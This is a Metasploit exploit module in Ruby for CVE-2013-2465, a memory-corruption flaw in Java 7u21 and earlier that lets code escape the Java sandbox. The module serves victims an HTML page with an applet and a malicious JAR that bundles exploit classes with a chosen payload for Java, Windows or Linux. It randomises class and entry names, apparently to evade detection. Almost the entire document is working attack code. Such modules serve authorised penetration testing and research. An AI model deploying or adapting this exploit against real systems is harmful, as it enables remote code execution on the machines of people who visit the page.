Java storeImageArray() Invalid Array Indexing Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default

  include Msf::Exploit::Remote::HttpServer::HTML

  # include Msf::Exploit::Remote::BrowserAutopwn
  # autopwn_info({ :javascript => false })

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability',
        'Description' => %q{
          This module abuses an Invalid Array Indexing Vulnerability on the
          static function storeImageArray() function in order to cause a
          memory corruption and escape the Java Sandbox. The vulnerability
          affects Java version 7u21 and earlier. The module, which doesn't bypass
          click2play, has been tested successfully on Java 7u21 on Windows and
          Linux systems.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Unknown', # From PacketStorm
          'sinn3r', # Metasploit
          'juan vazquez' # Metasploit
        ],
        'References' => [
          [ 'CVE', '2013-2465' ],
          [ 'OSVDB', '96269' ],
          [ 'EDB', '27526' ],
          [ 'PACKETSTORM', '122777' ],
          [ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040' ]
        ],
        'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
        'Targets' => [
          [
            'Generic (Java Payload)',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ],
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [
            'Linux x86',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2013-08-12',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def setup
    path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2465', 'Exploit.class')
    @exploit_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }
    path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2465', 'Exploit$MyColorModel.class')
    @color_model_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }
    path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-2465', 'Exploit$MyColorSpace.class')
    @color_space_class = File.open(path, 'rb') { |fd| fd.read(fd.stat.size) }

    @exploit_class_name = rand_text_alpha('Exploit'.length)
    @color_model_class_name = rand_text_alpha('MyColorModel'.length)
    @color_space_class_name = rand_text_alpha('MyColorSpace'.length)

    @exploit_class.gsub!('Exploit', @exploit_class_name)
    @exploit_class.gsub!('MyColorModel', @color_model_class_name)
    @exploit_class.gsub!('MyColorSpace', @color_space_class_name)

    @color_model_class.gsub!('Exploit', @exploit_class_name)
    @color_model_class.gsub!('MyColorModel', @color_model_class_name)
    @color_model_class.gsub!('MyColorSpace', @color_space_class_name)

    @color_space_class.gsub!('Exploit', @exploit_class_name)
    @color_space_class.gsub!('MyColorModel', @color_model_class_name)
    @color_space_class.gsub!('MyColorSpace', @color_space_class_name)

    super
  end

  def on_request_uri(cli, request)
    vprint_status("Requesting: #{request.uri}")
    if request.uri !~ /\.jar$/i
      if !(request.uri =~ %r{/$})
        vprint_status('Sending redirect...')
        send_redirect(cli, "#{get_resource}/", '')
        return
      end

      print_status('Sending HTML...')
      send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
      return
    end

    print_status('Sending .jar file...')
    send_response(cli, generate_jar(cli), { 'Content-Type' => 'application/java-archive' })

    handler(cli)
  end

  def generate_html
    jar_name = rand_text_alpha(rand(5..7))
    html = %(<html>
    <head>
    </head>
    <body>
    <applet archive="#{jar_name}.jar" code="#{@exploit_class_name}" width="1000" height="1000">
    </applet>
    </body>
    </html>
    )
    html = html.gsub(/^ {4}/, '')
    return html
  end

  def generate_jar(cli)
    p = regenerate_payload(cli)
    jar = p.encoded_jar

    jar.add_file("#{@exploit_class_name}.class", @exploit_class)
    jar.add_file("#{@exploit_class_name}$#{@color_model_class_name}.class", @color_model_class)
    jar.add_file("#{@exploit_class_name}$#{@color_space_class_name}.class", @color_space_class)
    metasploit_str = rand_text_alpha('metasploit'.length)
    payload_str = rand_text_alpha('payload'.length)
    jar.entries.each do |entry|
      entry.name.gsub!('metasploit', metasploit_str)
      entry.name.gsub!('Payload', payload_str)
      entry.data = entry.data.gsub('metasploit', metasploit_str)
      entry.data = entry.data.gsub('Payload', payload_str)
    end
    jar.build_manifest

    return jar.pack
  end
end